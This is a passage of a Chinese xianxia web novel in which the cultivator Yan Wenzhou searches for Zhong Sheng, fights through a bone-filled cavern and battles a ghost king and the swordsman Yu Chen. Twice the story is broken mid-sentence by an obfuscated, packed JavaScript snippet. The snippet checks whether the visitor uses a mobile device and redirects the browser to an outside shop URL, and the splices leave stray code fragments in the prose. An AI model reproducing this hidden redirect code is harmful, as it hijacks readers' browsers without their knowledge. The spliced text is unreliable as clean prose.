“徒儿啊,你结丹也选在这地方好了,这样将来又能攒一波雷击木,能给为师剩不少材料钱。” “……好。” 薄薄一张纸条儿飘啊飘的,十分显眼,陶乐正要伸手去摘,却有一只修长白皙的手先摘下了。 “掌门!?” 他眼巴巴地看着,发现杜衡的表情转眼就从和风细雨春暖花开变成了数九寒天,甚至还十分不满地冷笑了一声。 这都写什么了能把素来好脾气的掌门惹成这样,贫道好生好奇! 然而他最终也没有如愿,杜衡手指一捻,纸条便化作飞尘随风而去了,耳边只听到一声:“方才异象颇多,恐怕有宗门附近要来些不省心的修士,还请诸位多多加小心。” 话音落下,人就不见了。 陶乐愈发好奇,好奇得心痒难耐,然而罪魁祸首早已蹿到了百里之外。 安原郡说远不远,直线而去不过三柱香的时间,不过若是两条腿儿沿着官道慢慢走,少到飞仙城说也要走上十来天。 不多时,安原郡的青石城墙便出现在眼前,严文洲正准备落下,心海里却忽然传出一声惊叫:“哔哔哔——钟慎呢?” “……什么意思?” “我、我找不到他信号了!” 严文洲估摸着,这找不到信号就跟传讯飞鹤找不到人差不多。若是飞鹤找不到人,那不是身陨了,就是在哪个秘境了,所以钟慎…… 傻是傻了点,然而就这么死了,也确实可惜。 “无妨,先去一趟钟家再说。” 系统急得差点哭出来,在灵台里嘤嘤嘤个不停,严文洲皱着眉有一搭没一搭地安抚着,一边抬脚朝城门口走去,肩上却不知怎么地一沉。 扭头一看,是只胖乎乎的白色山雀,不过一拳大小,胖得站在肩头连两根腿儿都看不见,见他看过来便头一歪,猛地在他脸上啄了一下。 力道不重,只是很能感觉出其中不满。 “……阿蘅?” “嗯。” 良久无话,严文洲一边跟着指引七绕八拐地往钟府而去,一边有心岔开话题,笑眯眯地用指腹擦了擦山雀软乎乎的肚子,“阿蘅,这莫非就是你的本体?” 山雀又低头啄了一口,“我是人是妖,你不是最清楚了么?不过是来看看安原郡有什么重要之事,能让你一出关就急匆匆赶来。” 严文洲眼也不眨,主动把手指递到了山雀嘴边,“算出了此地有一份机缘而已,莫要多虑。阿蘅觉得口感可好,要不要再啄几口?” 山雀忽地扑棱了几下,从左肩飞到了右肩,“有人监视。” “嗯,应该是那位楼台使。” “可要杀了?” “不急。”严文洲失笑,这人怎么动不动就杀来杀去了,简直比自己这个魔修还像魔修。 话到此时,钟府富丽堂皇的大门已经近在眼前,严文洲径直上前打听起钟慎来,然而一听这个名字,一脸没睡醒的小厮便陡然瞪大眼,急急忙忙摆手道:“什么钟慎?我家就没有一位叫这名字的少爷!阁下定然是找错地方了!” 46.三山离火(二) 既然如此,那定然是没找错地方! 严文洲悠悠长叹,把山雀往怀里一塞,下一刻便直接腾空而起,在笼罩着钟府的无形禁制上敲了三声,朗声道:“钟慎何在?” 声音层层荡开,十分高调,十分嚣张,恐怕大半个城都听见了。 看门小厮两眼一翻,差点晕过去,多亏同伴眼疾手快,直接将他拖进门里才免得他脑门磕出一个大包,还在钟府外的长街悠悠荡荡的行人立刻脚底抹油,溜得飞快,生怕晚一点就被这人抓来吃了。 若是从前,严文洲恐怕还得在附近打听一番再做决定,然而结婴之后便不必如此了,毕竟安原郡钟家最大的靠山,只是一位快寿尽元婴期的老祖宗。 很快,钟府上空便腾起一位须发皆白的老人,虚空走了几步,缓缓问道:“道友何故如此?” “来寻钟慎。” “是敌是友?” “他叫我一声大哥。” 钟家老祖不由犯了难。虽说叫一声大哥,但大哥与大哥还是很不一样的。若是友人,修士里前一瞬还你好我好兄弟好,后一秒就翻脸杀人的事情司空见惯,若是仇敌,这模样似乎也不太像。他摇了摇头,直接道:“钟慎不在这里,阁下还请回吧。” 严文洲也摇了摇头,身形一闪,白鱼刀陡然架在了钟家老祖脖颈上,开始桀桀桀邪笑起来,“可惜了,不过既然他不在这里,那我便先拿你开刀好了,总归是钟家的血脉,你的修为还更精纯。” 钟家老祖大惊失色,脸上的每条褶子里都藏满了惊恐——同样是元婴修为,他竟然毫无还手之力!这、这不可能!这年轻后生是哪里冒出来的!? 然而大敌当前他也顾不了这么多,万一对方杀性大起,岂不是整个钟家都要陪葬!?老祖心中一酸,几乎要落泪,咬牙切齿道:“阁下且慢!我钟家也与那小子有深仇大恨,若阁下需要他的行踪,安原钟家自当鼎力相助!” 严文洲仍未罢手,刀锋甚至往里进了一点,逼出一条细细血线,唇角的笑意也愈发变态,“如何鼎力相助?我寻他是有大事的,你可莫要唬我!” “……这、他、他应当还在安原郡中,阁下稍安勿躁!” 严文洲眯眼看了一阵,缓缓收刀,“这么说来,你还是知道他如今在那儿的?” 钟家老祖已是满头冷汗,半点也不敢多看眼前这位不速之客,只拱手道:“还请阁下到我钟家用杯清茶,我细细说来。” 严文洲慢悠悠地点头,一低头,只见钟府内无数人抬头望着这里,一个个表情精彩至极,钟府像是已经大难临头了一样。 不由再一笑 乌泱泱的钟家众人立刻飞一般消失。 钟家老祖要说的事情其实也没什么了不得,不过就是钟慎的身世而已,只是这位老祖修为一般,东拉西扯的本事却是一绝,从钟慎名义上的爹开始讲起,讲他多么勤勉,多么忠勇,多么可怜,一路说到钟慎不声不响离家出走,实在是大不孝,不时还穿插一些不知真假的上古秘闻,足足花了一个时辰才讲到正题—— “这小子也不知从哪里知道了自己身世,急急忙忙赶回家,血脉如何做得了假!他一时激愤,便趁我们不备,偷了族中至宝夺门而出!唉,我钟家花费无数资源培养这么一个弟子也不容易,谁曾想却是给他人做嫁衣了呢!不瞒道友,我钟家如今也在找那小子,若是找到了他,定然饶不了他!” 砰——钟家老祖手下的石桌轰然破碎。 严文洲懒洋洋地靠着椅背,听得几乎要睡着,及至此时才悠悠回神,“哦,说得好,先抽筋扒皮,敲骨吸髓,再将血肉魂魄卖给魔道修士,想来也能值个千把灵石,挽回些损失。” “……对,说得好!” “对了,你钟家的至宝是个什么东西?” “这、这个,”钟家老祖支支吾吾了一阵,见青年昳丽非常的面容上多了些不耐烦,立刻道,“是一盏地阶上品的灵灯!” 严文洲这才有些讶异,灯类法器四洲极少有人使用,只有佛国那些和尚才用得多一点,难不成小小钟家跟佛国有些关系? “有意思,哪儿来的?” 他问得肆无忌惮,料定了钟家老祖不会不开口,毕竟在一个自己根本敌不过的修士面前提起一件宝物,不就是为了引人上钩么? 钟家老祖神色愁苦,许久才勉强道:“是祖上传下来的,没几人能用,本一直安放在禁地里,谁知道……唉!”一副肠子悔青,悲惨往事不愿再提的模样。 严文洲也唉了一声,嘴角却勾了起来,起身伸了个懒腰,“既然如此,那便去一趟禁地好了,我对那小子很了解,他可最会灯下黑这一招了,当心被他唬住了。” 钟家老祖一脸为难,“这个,毕竟是家族禁地……” 咻——森寒刀光再度出现,晃得钟家老祖两眼发花,立刻点了点头。 不多时,两人便站到了钟家禁地前。 说是禁地,其实也就是灵气充裕点的一块地方,真要比起来,连海东城里一开始的那座洞天别院都不如。 这地方连着一座小山,严文洲张望了一阵,没觉得有什么稀奇的,便硬拽着钟家老祖一起进去了。走了一阵,怀里的小山雀却主动探出了脑袋,扭头隔着几层衣衫啄了一口。 严文洲面不改色地把山雀按回怀里,扭头见钟家老祖的神情已经僵硬得能媲美僵尸了,便知道差不多到地方了。 然而既然都装了这么久,现在放弃岂不可惜? 于是熟练地扯出一个邪笑,阴森森地拍了拍钟家老祖的肩膀,“怎么脸色这么难看,难不成你是在此地布下了后手,就等着杀我了?” 钟家老祖汗流浃背,颤巍巍道:“多、虑了。” 话音还未落下,他手中已然炸开一只小球,细如云雾的药粉瞬间散开,同时响起的还有一声声嘶力竭的大吼:“先生动手!” 锵——一道剑气猛地袭向青年后心,似乎避无可避,然而下一瞬,剑气便毫无阻碍地穿了过去,直指钟家老祖! 钟家老祖又惊又怒,竟然只是一道幻影!闪身躲开,却已晚了些许,肩头被锋锐剑气戳出了碗口大的血洞来,云雾般飘散的药粉又悠悠地飘了回来。 钟家老祖十分想骂人。 又是一阵珠玉落盘般的刀剑格挡声,眨眼间,严文洲已然和这位先生交手了数十招。对方也不知是存了什么心思,明明是化神修为,偏偏不用修为,只一味比拼剑术。 严文洲迷惑归迷惑,却也乐得如此。四洲之中把刀剑当法器的虽多,精通刀剑的只占极少数,有这么一个对手过招,自是十分有意思的。 平心而论,这人剑术是极为精湛的,完全可以在自己交手过的人中排到前三。然而打着打着,严文洲却慢慢拧起了眉,这人似乎有些不对劲。 正要再过上几招,脚下却传来一阵诡异至极的震动,脚下一空,他已然坠落了下去,电光火石间只来得及飞出一道灵气,把钟家老祖也给拽下来。 黑暗只是短短一瞬,无数幽蓝的光点很快出现在视野中。 严文洲神情微妙地停在半空,无视了不远处被一堆枯骨挠得滋哇乱叫的钟家老祖,视线缓缓从石壁上安放着一个个颅骨的壁龛上扫过。 每个颅骨中都闪烁着两点幽蓝鬼火,森白骨头似乎处于深水之中,举目所望,石壁上密密麻麻都是鬼火,而下方,无数骨头架子堆成的白色海洋正在疯狂翻涌。 原来这才是钟家老祖真正的后手——万骨窟。 传闻中死人无数、怨气极重的极阴之地才会形成的天然死地,里面的每一根骨头都不可小觑,基本上每次现世都是一番鸡飞狗跳,不过清理干净后便是尸修的最爱。 钟家禁地下面怎么会是这样的东西,难不成祖上是魔修转行的? 况且,万骨窟这么阴气重的地方,怎么一直没有被外人发现?上面甚至还有一块灵气还算不错的地方! 严文洲颇觉蹊跷,正要把钟家老祖拎起来好好问问,耳边便幽幽传来一句:“这便是你说的机缘?” “……兴许吧。常言道福祸相依,也许此番正是如此呢。” 山雀安静地钻出来,扑棱了几下站上严文洲肩头,不再言语。 严文洲松一口气,却知道此事全然不算结束。杜衡此人,记性甚好,又擅吃醋,碰上和明朔剑尊有关的事,更是能胡思乱想出许多事来。很不幸地,钟慎以其明朔剑尊亲传弟子的身份,早已被杜衡列入了黑名单中。 偏偏此人又长了一张很有欺骗性的脸,眉梢眼角自带三分温柔,严文洲一看便觉有些对不住,熄了吵架的心思,于是日子就这么稀里糊涂地过下去了。 然而杜衡是杜衡,妖邪是妖邪,严文洲心中有事,扫开乱七八糟枯骨的动作未免就粗暴了起来,咻咻几刀便将扒拉在钟家老祖身上的枯骨齐齐斩断,紧接着在一碰骨灰中一把拎起了他,阴恻恻道:“道友,你家这禁地怎么还有万骨窟,莫不是打算举家归顺魔道?” 钟家老祖本来打算得好好的——自己借着万灵灯之名,将这不速之客引到禁地,先生趁机出手,凭他化神大圆满的实力还能奈何不了这个元婴境界的小子么?!就算是先生不愿得罪这年轻人背后的师门,那也可直接将其关入自成空间的万骨窟,到时候,任凭是再厉害的师长,还能找到这小子的踪迹? 然而先生却不知中了什么邪,竟硬生生和这小子比拼剑术,赢了也就罢了,居然还赢不了,还是得打开禁地!谁知道这小子精得很,居然早有防备! 钟家老祖气得七窍生烟,只觉今日出门没看黄历,可面对这么一个大杀星,他此刻也做不了什么,只能颤颤巍巍地一问三不知,假装自己对万骨窟什么都不知道。 严文洲听了没多大表示,只是随手又将他扔回了枯骨堆中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302784|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凄惨的叫声再度响彻万骨窟。 本来以元婴期的修为,也不至于如此狼狈,毕竟枯骨虽多,但修为却有限,然而钟家老祖是个实打实的医修,又闭关了多年,对于斩妖除魔从来没什么心得,而多年前炼制的毒药对这些骨头架子还半点不起作用,右肩还被剑气戳出了一个大洞,眼下面对施行骨头海战术的妖邪们,便有些捉襟见肘了。 严文洲等了一会儿,待到钟家老祖的声音有些嘶哑时,又斩断附近枯骨将他提了起来,慢条斯理道:“听闻每座万骨窟都有一只鬼王,道友声音如此洪亮,想来鬼王很快就来了。” “你!” 见那张褶子脸上满是不屈,严文洲摇头叹息,微一松手又要将他扔回去,就在白里发黄的骨头架子再一次触及破破烂烂的靴子时,钟家老祖陡然一激灵,扯着嗓子号起来:“道友且慢!我说!” 严文洲没打算让钟家老祖好过,维持着这个岌岌可危的姿势直接问道:“万骨窟是怎么回事?” 钟家老祖尴尬摇头,“从来都是如此。” 严文洲眸光微沉,继续道:“‘先生’是谁?他来干什么?” “这个,”钟家老祖吞吞吐吐,“他也不知从哪里知道了禁地的秘密,主动找上门说能在保留我钟家的基础上,解决掉万骨窟,我便信了他。” 严文洲冷笑一声,这糟老头子还是没说实话,“他是辉虹阁的人?” “……是。” 正要再问,万骨窟深处却传来一声轰然巨响!影影绰绰的嘶吼声夹杂着骨头架子的喀拉喀拉声传来,十分瘆人,脚底下的白骨海也瞬间躁动了起来,掀起的浪花明显高了许多,能直接扒拉到钟家老祖的大腿上了。 严文洲面无表情地飞高了一点,继续问:“于琛?” 钟家老祖明显呆了一下,脸上闪过些许后悔,飞速摇头,“他从来都没有说名字,不过听说他是从东洲调来的。”顿了顿,他又扯着嗓子号起来,“道友,先前是我瞎了眼,贸然插手进了两位的事情中,若是道友能高抬贵手,我愿将我钟家至宝万灵灯双手奉上!” 严文洲十分不给面子,“不是被钟慎偷走了么?” “呃,这、这个——那不过是个仿品,真的怎么可能那么容易被一个筑基修士偷走。” 话音还未落下,严文洲心中一动,随手将钟家老祖一丢,整个人轻飘飘地向侧方挪开几步,白鱼刀反向劈出,当啷一声架住一双铁爪似的手。 顺着蓝幽幽的指甲盖向上看去,居然是钟慎! 严文洲一惊,眼前的钟慎只见眼黑,不见眼白,手指甲暴涨了一大截,身形也显出一种诡异至极的干瘦感,乍一看已经完全不能称之为人了,显然是被万鬼窟中的鬼王夺了身体! 不是,这小子怎么这么倒霉!? 一个极阴之体的鬼王上个活人身干什么,安逸得太久尝尝阳气噬身的苦么?还只有区区筑基修为,脑子被水泡了么!况且这小子身上不应该还有个三山离火么?! 爪子在白鱼刀上刮擦出刺耳的声响,一声声毫无音韵可言,然而原本安安分分蹲在壁龛里的颅骨却齐齐震颤起来,咯噔咯噔地就朝严文洲转过来。 刹那间,幽蓝鬼火便形成一条火舌席卷过来,却在最后一刻堪堪挺住,“严大哥……快、快走……我……我要……” 不等说完,火舌轰然冲来! 严文洲身形一闪,转瞬便到了钟慎背后,心里十分欣慰,这傻小子心智颇坚,还是留着几分意识的,那便好救了。 虽说如此,但真实施起来还是有些麻烦的。他使刀几乎都是刀刀致命的路数,鲜少拖泥带水,而此刻要对付的人却和要救的人是同一个,白鱼刀用起来不免束手束脚。 更麻烦的是,他要救的是个完完整整的钟慎! 这傻小子才筑基修为,若是此时便缺胳膊断腿儿,那得到元婴才能重新长回来,其中波折痛苦不必多说,系统也八成要整天唠唠叨叨,说不定又要整些花样。 偏偏鬼王附身状态下的钟慎十分难缠,一双爪子灵活无比,配上诡异身法和脚下白骨海,滑溜得像是泥潭里年轻力壮的泥鳅,缠斗几招就哧溜一下跑了。 不多时,翻涌的白骨海便肉眼可见地少了一大半,石壁上的颅骨更是十不存一,而钟家老祖的哀嚎已经完全听不到了。 严文洲终于找到了机会,白鱼刀背裹挟着清朗灵气哐一下砸到钟慎后脑勺上,惨白发青的手顿时停了下来,颤了两下,咻地向下方的白骨海坠去。一把捞起倒霉蛋,白鱼刀咻咻几声把附近的一个壁龛扩大了几圈,他毫不在意地拎着钟慎坐了进去。 屁股刚刚沾到石壁,变故又生——滚滚魔气从指甲刚刚缩回去的钟慎身上逸散出来,毫无克制地塞满了整个石窟,眨眼的功夫,白骨海便掀起了狂风大浪! 严文洲:“……” 有完没完了! 47.三山离火(三) 轰——轰——轰——白骨海的咆哮一声接着一声,黄白色的滔天巨浪愈来愈高,几乎是以一种同归于尽的架势拍打着石壁,震得连新鲜落地的禁制都在颤抖。 面无表情地把扑棱着乱飞的胖山雀塞回怀里,严文洲吞下半瓶回灵丹,“统兄,你可否解释一下这是怎么回事?” “……我不知道。” “跟他爹有关系么?” “可能、也许、大概有关系。” 严文洲冷笑一声,一掌震碎了钟慎的上衣——吃胖了些许却仍掩盖不了豆芽菜本质的身躯上一无所有,半点没有邪门契约、法阵的痕迹。 也是,要是这么容易发现,太清宗入门仪式的时候就会发现了。 然而若说这傻小子身上的魔气跟万骨窟无关,仅仅来源他那个莫须有的爹,那也不能完全解释——天下魔二代们多如繁星,没见到哪个魔二代能自带这么多魔气的! 不过再这么下去,钟慎怕是也要从太清宗叛出,跑到东极道了! “神魂。”白团子般的山雀咻一下从怀里窜出来,准确无误地降落到钟慎脸上,短得可怜的喙一下啄上灵台。 刹那间,直挺挺躺在地上的钟慎爆发出凄厉至极的惨叫,整个人蜷缩成了一只没肉的大虾,还是快熟透了的那种。半透明的火光在他皮肤上流淌跳动,每流经一道关窍,钟慎的表情便更痛苦一份,而冲天魔气终于碰上了对手,和火光分庭抗礼起来。 严文洲一时没来得及顾他,一来是系统也在心海中同步发出了一声惊人的尖叫,二来是方才这倒霉蛋身上窜起了一道三山离火,差点把白团子给燎了。 捧着小山雀上上下下检查了一遍,他又把山雀揣回怀里,“你也太莽撞了,万一这小子身上有问题,你岂不是要跟着倒霉。” 杜衡却没说话,乖巧得像只再普通不过的山雀,就是太安静了。 不对劲。严文洲一想,心里咯噔一下——三山离火! “阿蘅你要相信我我跟这小子绝对没什么特别的关系三山离火只不过是个意外他当年是说要做炼丹师来着的我想这样多个炼丹师朋友也好谁知道怎么会拜入明朔剑尊门下呢……” 他心中着急,一不留神又说错了话,顿时后悔万分——早知如此,就先抱着白团子亲几口好了,最差也就是被啄两口,哪至于像现在这样火上浇油! “呵,我哪有这么小心眼,不过是个我不要的东西而已,文洲真是想多了。” 严文洲缓缓点头,好的,明白了,非常生气了。 他仔细琢磨了一下回到太易宗以后应当如何,然而这种场面,一个记忆健全、在风月场中摸爬滚打了十几年的老手也未必能处理妥当,更何况是严文洲这种记忆缺胳膊少腿儿的雏鸟呢? 然而他天生脑筋清奇,这种旁人万分头痛的事情一点没觉得难受,反而乐在其中,想了一阵还摸着小山雀毛茸茸的脑壳笑了出来,很有几分甜蜜的意味。 杜衡:“……” 咻——扭头又啄了一下。 严文洲心情很好地又摸了一把,而后手指连动,在白鱼刀身上敲出一连串铿锵音节。不过十来下功夫,钟慎眼中便显出几分清明,“严、严大哥……你快……” “废话少说,抱元守一,三山离火既已认你为主,便不会烧死你,先将你体内的魔气压下去,”严文洲顿了顿,声音带上了几分笑意,“不过若是你想直接做个魔修的话,便不需如此麻烦了,我这里还有个法门,你要么?” “……我明白了!” 就在钟慎开始勤勤恳恳地练习用三山离火压住体内不知从何而来的魔气,同时还不把自己弄成走火入魔时,鬼王又找上了门。 脱离了肉身限制,这座万鬼窟的鬼王看上去更加寒碜,完全没有人形,像是一条用了几十年,又被虫啃了一遍的长绸,难看得不是一星半点。 严文洲觉得十分辣眼睛,没多废话,拎着白鱼刀直冲了上去。 世间每一座万鬼窟都不尽相同,有的是位于极荒僻之地的古战场,有的在成为生灵绝迹之地前是最繁华不过的大城,万鬼窟便也是一副熙熙攘攘、人烟稠密的市井之相,还有的直接是一座小秘境,而鬼王的修为也会因为环境以及形成原因有着天壤之别。 眼前这一位的修为在元婴期左右,单论修为,和严文洲在伯仲之间,不过既然是在自己的主场,鬼王很明显要占优势许多。 而且,这位鬼王还带毒。 轰——幽蓝的火舌再度席卷而来,严文洲闪身避开,身形还未完全扭转过来便又以一个不可思议的角度避开侧后方伸出的一双爪子,白鱼刀趁势劈过去,银月般的刀光将阴恻恻的鬼王照得更加凄惨,像是哪家的吊死鬼。 幽蓝的指甲在刀背上挠出老鼠作祟般的声响,咯吱咯吱的,只听咚一声,断爪落地,迅速被白骨海埋了,一缕青烟袅袅升起。 严文洲喉头立刻发痒,灵气流转也有了几分滞涩,很想骂人。他面无表情地手腕一翻,欺身而上,白鱼刀不退反进,裹挟着森冷杀气的刀锋直奔鬼王细溜溜的脖颈而去。 这一下若是劈实了,鬼王不说灰飞烟灭,大半条命也去了。 下一刻,鬼王原地消失,硕果仅存的一只颅骨一下悬浮起来,缺了一块的下颌骨一开一合的,“道友莫着急,你我实力相差无几,不如做个交易如何?你将那小子杀了,我便与你订下契约,供你驱使百年,期间无论你提出什么要求,我都应允,你只要……” 不等说完,白鱼刀就劈了上来,“相差无几也是有差别,打不过就等着受死,这番花言巧语谁会信?” 鬼王气得变形,身体咻一下拉长,裹了一圈鬼火再度冲过来,“你可知道你方才中了什么毒!?若是不答应,你且等着被我吃了吧!” 鬼王的咆哮也不是那么好惹的,严文洲耳边瞬间响起尖锐得能刺穿鼓膜的鬼哭音。 啾啾啾——小山雀又扑棱出来,黑豆似的眼珠直勾勾地看向不远处的长条形物体,短喙不断开合,自带三分仙气儿的婉转鸟鸣便在这座沉寂多年的万骨窟中响了起来。 鬼王莫名其妙,直觉这小东西不好惹,立刻就扔出一团鬼火,要先把它烧死。 严文洲更加不爽,一边伸出一根手指将小山雀压回到怀里,一边刀锋一转径直劈开鬼火,阴森森的眼神缓缓落到鬼王身上。 刹那间,鬼王不由自主地哆嗦了一下,竟然觉得自己面对的不是一个元婴期仙修,而是一个同自己一样,从尸山血海里爬出来的鬼王! 邪了门了! 至此,忽悠这元婴修士的计划已经全然行不通了,鬼王正要再吐露些实话,便听严文洲冷冷道:“叫什么叫,这么难听还好意思叫!下次投胎记得选狗,一辈子叫个够!” 话音落下,瓢泼大雨扑面而来,点滴如刀割,鬼王刚勃然大怒,便被这刀光与杀气组成的大雨浇灭了心头火气——这实力,确实有些差距。 鬼王咬牙切齿,一边招架着刀光,一边嘶吼起来,“我的尸毒天下无人能解,一旦中招,则穿肠烂肚,全身溃烂,修为再不得寸进!你可要想清楚了!” 山雀又叽叽叫了起来,在严文洲耳朵里便是杜衡温柔又带着几分不屑的声音,“李青云解过。” 严文洲放心了,鬼王不甘地死了。 幽蓝骨灰腾空而起的瞬间,翻涌个不停的白骨海陡然一顿,骨头渣子凝成的浪花阴森森卡在了半空中,而后也喀拉一声恢复原位,安安静静地躺在地上当起了普通骨头。 若此地仍然存在,不出意外的话,还要许多个百年才能孕育出这么一位鬼王来。 严文洲扫了眼钟慎,见他身上的三山离火和魔气还在拉锯,便补了几重禁制,自己朝另一侧石壁而去。 少了好厚一层白骨后,石壁上曲里拐弯的文字也显露了出来,只是年深日久,有许多都模糊了,只依稀能看清几句话。 小山雀探出了脑袋,“上古文字。” 严文洲虽不知道自己是怎么认识的,但一瞥之下就毫无阻碍地认出了上面的内容,心情顿时有些微妙——那钟家老祖先前拖时间的上古传闻居然是真的。 安原钟家祖上确实出过一位大医修,甚至于,现在这片万骨窟也和那位老祖宗脱不开干系。 镌刻在石壁上的,是片祭文。 彼时,安原郡还叫东云郡,也算是南洲仙修的重镇,却突然爆发了一场大瘟疫,凶猛程度前所未见,便是修为低些的修士也无法幸免。于是,无数医修从四面八方汇聚而来,商讨疗法,诊治病患,另外也给死在瘟疫中的这些人收尸。 这座万骨窟最开始便是东云郡的坟地。 尘埃落定后,又有修士主动留下,愿意在此处镇守万骨窟,以免生变。 这应该就是钟家那位老老老老祖宗了。 严文洲心中一动,转身朝半死不活挂在石壁上的钟家老祖走去。一炷香的功夫,这位衣冠飘飘,颇有隐世高人模样的老祖已经潦倒落魄得能上街头乞讨去了。 “万骨窟阴邪之气甚重,若是没有封印和灵气镇压,早就被世人发现了,你家的万灵灯就是压阵的对吧?” 钟家老祖神情恍惚地点头。 严文洲脸色颇为难看,寻常万骨窟附近不说是生灵绝迹,起码也不会是一片灵气还算不错的地方,能压住万骨窟且吸引来这么多灵气的法器,再加上一个玄天卷爱子…… “你们……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322086|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>话还没说完,严文洲背后一寒,下意识地闪身避开三五步,只听一声清脆剑鸣,一道有些熟悉的剑气就穿过了钟家老祖灵台。 一击毙命! 白鱼刀刹那间回转过来,刀锋与剑锋立时纠缠在一起,呼吸间,两人已经过了数十招。 这一回便不再是什么你我平等、压住修为的比试了,而是实打实的化神修为对上刚结婴不到一天的元婴修士。 差得不是一点点大。 虽说先前也解决了几个小蓬莱长老,但他们要不是已经被天魔劫火烧了,要不就是借着符箓之力,况且眼下这人,确实不是什么空有修为的绣花枕头。 走过百招,本就残破的石壁上已经满是深深浅浅的痕迹,大大小小的石头接二连三地掉下来,又粉碎了不少白骨。 可钟慎仍未清醒。 当啷——严文洲神情冷淡地招架住长剑,忽然道:“你心急了。” 全身罩着黑斗篷的剑修一言不发,却有三张符箓从袖中射出,瞬间便炸开,天雷地火瞬间将万骨窟填得满满当当,五颜六色的,十分喜庆。 严文洲闪身避开从雷火中穿出的长剑,“你就这么想杀我?” “要不然呢?若真能杀了东极道主,用什么方法杀的,还重要么?”声音带着不容忽视的恶意夹杂在眼前十分热闹的动静中,几乎像是另一只鬼王。 严文洲倒是不奇怪这人叫破自己的身份,毕竟能一眼认出自己并且速度极快地雇佣了杀手的人,定然是自己先前的仇人。结合夜游宫送来的情报,他已然想起来了一点,虽然没想起来为什么结下了仇,但也记起来这人叫于琛,先前和自己打过几场架。 看这人先前所为,该是个有几分剑道追求的剑修啊,怎么忽然就这么不讲究了? 但很显然,不讲究自有不讲究的好处,符箓阵盘齐出之下,他立刻从还能拖延时间变成了左支右拙,开始狼狈起来。既然对方不讲究起来,他也立时抛弃了打架时少说话的规矩,“是你将钟慎引来的?” “呵,我引他做什么,是他自己和鬼王定了契约,又茫茫然万事不知,自己寻回来了。” “那便是你哄骗钟家老祖带走万灵灯的。” “自以为是的蠢货而已,万灵灯留在他那里岂不是浪费!” “可你是个剑修。” 这话也不知道哪里戳中了于琛的痛点,瞬间将他激得狂躁起来,手里的剑法也明显没了章法,若是先前不靠修为的比试时是这个水平,严文洲定然会觉得这只是一个不入流的剑修,把长剑当法器用的那种。 奇了怪哉,似乎比他百年前使出来的剑法还要不如。 严文洲心中生疑,借着眼下的混乱一刀劈开笼罩在于琛身上的幻术,陡然一惊。 印堂漆黑,双目通红,脖颈青筋毕露,周身隐隐有浑浊魔气相随。 这是走火入魔之相。 见严文洲击破自己的幻术,于琛愈发癫狂,手腕一翻竟直接将长剑当作长矛掷了过去,又胡乱扔出一堆符箓,“我要杀了你——杀了你!若不是你,我怎会如此!” 这嘶吼声已经无限接近于无药可救了,严文洲顾不得琢磨自己当年到底对于琛做了什么,身形一闪就要避开势头十分刚猛的长剑,方退开半丈,他便意识到不妙,然而已经来不及了。 轰——三山离火炸了! 半透明的火焰瞬间冲出禁制,在石壁上张牙舞爪地蔓延开,白骨海方才有些活起来的动静便直接被点了个彻底! 细碎骨渣子被火光照得莹润发亮,化作骨粉点点飘散开时犹如萤火虫,好漂亮一片火海。 然而骨头就是骨头。 看了许久热闹的小山雀咻一下把脑袋塞进严文洲衣襟里,还小心地叼起一点衣料盖住最上方,把自己埋得严严实实的。与此同时,还有一道十分熟悉的灵力笼住严文洲,然而向外撑开,完美在三山离火的火海中制造出了一个透明圆球。 “你的机缘,还挺特别的。”杜衡闷闷的声音传来。 电光石火的功夫,又是一阵地动山摇,浸润了数千年阴气的石头大块大块地砸落下来,在三山离火中嗞啦嗞啦个不停。 笑了没几下,严文洲忽然觉得不妙——万骨窟至阴,而三山离火至阳,万骨窟鬼王已死,而三山离火有了主人…… 轰隆隆—— 惊天动地! 一声暴呵卡在了喉咙里,严文洲只觉被一股难以抗拒的巨力抛出了万骨窟,再回神时,眼前仍是灿烂辉煌到了极点的火海。 只不过,头上是沉沉的夜幕,远处是灯火通明的长街。严文洲一口气差点没上来,卡住的暴呵以翻了数百倍的气势脱口而出:“钟慎!快停手!” 48.三山离火(四) 火烧一座城,会怎么样? 严文洲不知道,也没想过,而眼下,有人替他试了。 半透明的火焰如流水一样铺展开,漂亮优雅,又极为恐怖,整个钟府都在以一种肉眼可见的速度被点燃! 系统发出一声尖锐至极,几乎可以说是垂死挣扎的心音,“因果!!!” 没错,数万人的性命可不是闹着玩的。 若是钟慎真在无意识中点了安原郡,严文洲也不用做什么了,直接带着他逃命就好了,别说太清宗怎么处置,恐怕东极道都不会收他了! 好事不出门,坏事传千里。半空中陡然传来一声怒喝:“何人在此放火!?” 中气十足,搅得火苗都飘摇了一下,只是却激得三山离火更癫狂了。 严文洲脸色变得极为难看,抬头一看,四条人影,看服饰都是太清宗的人。 好巧啊,真是太巧了! 眼睛一瞥,不远处的钟慎总算睁开了眼,只是浑浑噩噩的,也不知清醒了多少,严文洲正要过去,胸前小山雀却探出脑袋,左右看了看扑棱一下飞出来,似慢实快地飞了一大圈。 三山离火的向外蔓延之势顿时停住,只在钟府内到处乱爬。 严文洲放出神识探了一遍,悬起来的心顿时落了下去——烧东西归烧东西,人是一点没烧到,钟慎这傻小子还是心善。 这功夫,太清宗修士们也拿出法宝,飞了过来,满脸警惕地扫了眼两人。这一看立刻便有人惊叫出声:“钟慎!?” 钟慎没什么反应,瞪着两只眼呆呆地看人,跟个戏台子上的木偶一样。 